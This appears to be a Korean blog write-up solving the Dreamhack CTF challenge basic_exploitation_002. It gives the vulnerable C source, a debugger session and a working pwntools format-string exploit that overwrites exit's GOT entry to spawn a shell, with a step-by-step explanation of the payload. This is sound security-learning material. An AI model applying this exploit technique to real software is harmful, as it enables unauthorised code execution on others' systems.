1. 문제 파일 다운, 환경 확인
문제를 다운 받고 $ chmod +x basic_exploitation_002
로 파일에 실행 권한을 부여했다.
environment
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
nx만 적용되어 있는 32비트 시스템이다.
2. 코드, 취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh"); // 쉘 실행
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80); //buf의 크기만큼 읽어와서
printf(buf); //printf 실행
exit(0);
}
printf를 사용할 때 형식 지정자를 지정하지 않았기 때문에 포맷 스트링 버그를 활용할 수 있다.
PIE가 적용되어 있지 않기 때문에 코드 내의 함수 위치는 고정되어 있다.
그렇기 떄문에 get_shell의 주소와 exit의 got 주소를 알아낼 수 있다.
got overwrite로 exit의 got를 get_shell의 주소로 바꾸면, exit이 실행될 때 get_shell이 실행될 것이다.
got overwrite를 하기 위해서 포맷 스트링의 순서에 따라 어떤 위치를 가리키고 있는지를 알아내야 한다.
그 후 인자에 맞게 포맷 스트링 버그를 활용하면 된다.
3. get_shell 주소 구하기
pwndbg> info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x08048609 get_shell
위와 같이 get_shell의 주소가 0x08048609임을 구했다.
4. 인자 찾기
$ ./basic_exploitation_002
aaaabbbbccccddddeeeeffffgggghhhh %x %x %x %x %x %x %x %x
aaaabbbbccccddddeeeeffffgggghhhh 61616161 62626262 63636363 64646464 65656565 66666666 67676767 68686868
첫번째 포맷 스트링이 buf의 첫 4바이트를 가리키고 있고, 그 뒤도 순서대로 다음 주소를 가리키고 있음을 알 수 있다.
32비트 시스템의 함수 호출 규약을 생각해보면 이해할 수 있다.
5. 코드 작성
from pwn import *
p = remote('host3.dreamhack.games', 17984)
e = ELF('./basic_exploitation_002')
context.arch = 'i386'
get_shell = 0x08048609 #get_shell의 주소
exit_got = e.got['exit'] #exit의 got 주소 구하기
payload = b"%2052c%8$hn" + b"%32261c%7$hn" + b'A' #get_shell의 주소만큼 출력해서 %hn의 인자로 전달, 4의 배수로 맞추기 위한 패딩
payload += p32(exit_got) + p32(exit_got+2) #exit_got가 7번째, exit_got+2가 8번째 인자가 될 수 있게 입력
p.send(payload)
p.interactive()
위의 코드로 익스플로잇에 성공했다.
6. payload 상세 설명
%hn
은 앞에서 입력된 문자의 수를 2바이트 공간에 저장하는 형식 지정자이다.
위의 코드에서 get_shell의 주소는 0x8048609 = 134514185로 매우 크다.
이 큰 수만큼을 한번에 출력하면 시간이 오래 걸릴 것이기 때문에
get_shell 주소의 절반인 804를 exit의 GOT 뒤의 2바이트에 저장하고 뒤의 8609를 exit의 GOT 앞의 2바이트에 저장한 것이다.
이를 4바이트로 보면 결국 0x8048609로 저장되게 된다.
이 때 리틀엔디안으로 값이 저장되는 것도 생각해줘야 된다.
payload에서 살펴보면
먼저 804를 10진수로 바꾸면 2052이고, 이 수를 8번째 인자인 exit_got+2에 전달해준다.
그 후 뒤의 8609를 10진수로 바꾼 34313만큼을 전달해줘야 한다.
이 때 %2052c
로 이미 2052바이트만큼이 출력되었으므로 34313 - 2052 = 32261만큼을 7번째 인자인 exit_got에 전달해준 것이다.
'system hacking' 카테고리의 다른 글
드림핵 tcache_dup 문제 풀이 (3) | 2024.07.22 |
---|---|
드림핵 basic_exploitation_003 문제풀이 (0) | 2024.07.16 |
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found 오류 해결 방법 (0) | 2024.07.12 |
드림핵 hook 문제 풀이 (0) | 2024.07.11 |
드림핵 oneshot 문제 풀이 (0) | 2024.07.09 |